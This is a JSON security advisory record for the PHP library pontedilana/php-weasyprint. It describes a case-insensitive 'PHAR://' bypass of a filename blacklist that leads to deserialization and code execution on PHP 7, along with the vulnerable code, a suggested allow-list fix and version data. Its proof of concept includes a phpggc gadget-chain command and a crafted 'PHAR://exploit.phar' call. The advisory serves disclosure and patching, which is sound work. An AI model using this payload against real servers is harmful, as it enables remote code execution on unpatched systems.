{"id":"GHSA-2fmj-p74r-3wjm","summary":"PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)","details":"### Summary\n\n`pontedilana/php-weasyprint` guarded the output filename against the `phar://` stream wrapper with a case-sensitive blacklist:\n\n```php\nif (0 === \\strpos($filename, 'phar://')) {\n    throw new \\InvalidArgumentException('The output file cannot be a phar archive.');\n}\n```\n\nPHP stream wrappers are **case-insensitive**, so `PHAR://`, `Phar://`, etc. bypass the check and reach `fileExists()` (`file_exists()`) in `prepareOutput()`. On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115.\n\nThe same issue and fix were handled upstream in KnpLabs/snappy ([GHSA-92rv-4j2h-8mjj](https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj)).\n\n### Affected versions\n\n`pontedilana/php-weasyprint` versions `\u003c= 2.5.1` (the case-sensitive guard was introduced in commit `eb8accc`, \"Implement countermeasures for CVE-2023-28115\").\n\nPatched in: `2.6.0`.\n\n### Privilege required\n\nA caller able to control the output filename passed to `generate()` / `generateFromHtml()`, plus the ability to place a PHAR archive on the filesystem (e.g. via an upload). Exploitation of the deserialization requires the server to run PHP \u003c 8.\n\n### Vulnerable code\n\n`src/AbstractGenerator.php`, `prepareOutput()`:\n\n```php\nif (0 === \\strpos($filename, 'phar://')) {\n    throw new \\InvalidArgumentException('The output file cannot be a phar archive.');\n}\n```\n\n`strpos($filename, 'phar://')` matches only the exact lowercase string, while the wrapper resolution is case-insensitive — `PHAR://payload.phar` is not caught.\n\n### Proof of concept\n\n```bash\n# Craft a PHAR with a fast-destruct gadget chain\nphpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar\n```\n\n```php\n\u003c?php\nuse Pontedilana\\PhpWeasyPrint\\Pdf;\n\n$pdf = new Pdf('/usr/local/bin/weasyprint');\n// Case-altered wrapper bypasses the lowercase 'phar://' blacklist\n$pdf-\u003egenerateFromHtml('\u003ch1\u003ePOC\u003c/h1\u003e', 'PHAR://exploit.phar');\n// On PHP \u003c 8, the PHAR metadata is deserialized -\u003e /tmp/exploit is created\n```\n\n### Impact\n\n- Remote code execution and filesystem access through PHAR metadata deserialization on PHP \u003c 8, when the output filename is attacker-influenced and a PHAR can be planted.\n\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (8.1, High) — Critical in deployments running PHP 7 with an upload surface; adjust to your environment.\n\nCWE-502 (Deserialization of Untrusted Data).\n\n### Suggested fix\n\nReplace the case-sensitive blacklist with a scheme allow-list (`file` / no scheme), comparing the lowercased scheme parsed from the filename:\n\n```php\nprotected const ALLOWED_PROTOCOLS = ['file'];\n\nprotected function isProtocolAllowed(string $filename): bool\n{\n    if (false === $parsed = \\parse_url($filename)) {\n        throw new \\InvalidArgumentException('The filename is not valid.');\n    }\n    $protocol = isset($parsed['scheme']) ? \\strtolower($parsed['scheme']) : 'file';\n    // ...special-case Windows drive letters (C:\\...) as 'file'...\n    return \\in_array($protocol, self::ALLOWED_PROTOCOLS, true);\n}\n```\n\n`prepareOutput()` then rejects any non-`file` scheme (`phar`, `PHAR`, `php`, `http`, ...) before `file_exists()` is reached.\n\n### Credit\n\nOriginal vulnerability and patch-bypass reported upstream to KnpLabs/snappy by Rémi Matasse of Synacktiv ([GHSA-92rv-4j2h-8mjj](https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj)); identified as applicable to `pontedilana/php-weasyprint`, which mirrors the same code.","aliases":["CVE-2026-49286"],"modified":"2026-08-24T00:36:52.696062615Z","published":"2026-06-26T22:10:00Z","related":["CVE-2026-49286"],"database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-06-26T22:10:00Z","nvd_published_at":"2026-06-19T18:16:19Z","cwe_ids":["CWE-502"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj"},{"type":"WEB","url":"https://github.com/pontedilana/php-weasyprint/security/advisories/GHSA-2fmj-p74r-3wjm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49286"},{"type":"WEB","url":"https://github.com/pontedilana/php-weasyprint/commit/d1aa487722b5a3cab9b222b85fdb5608a5a550c3"},{"type":"PACKAGE","url":"https://github.com/pontedilana/php-weasyprint"},{"type":"WEB","url":"https://github.com/pontedilana/php-weasyprint/releases/tag/2.6.0"}],"affected":[{"package":{"name":"pontedilana/php-weasyprint","ecosystem":"Packagist","purl":"pkg:composer/pontedilana/php-weasyprint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6.0"}]}],"versions":["0.10.0","0.10.1","0.11.0","0.12.0","0.13.0","0.9.0","1.0.0","1.0.1","1.1.0","1.1.1","1.2.0","1.3.0","1.4.0","1.5.0","2.0.0","2.1.0","2.2.0","2.3.0","2.4.0","2.5.0","2.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-2fmj-p74r-3wjm/GHSA-2fmj-p74r-3wjm.json","last_known_affected_version_range":"\u003c= 2.5.1"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}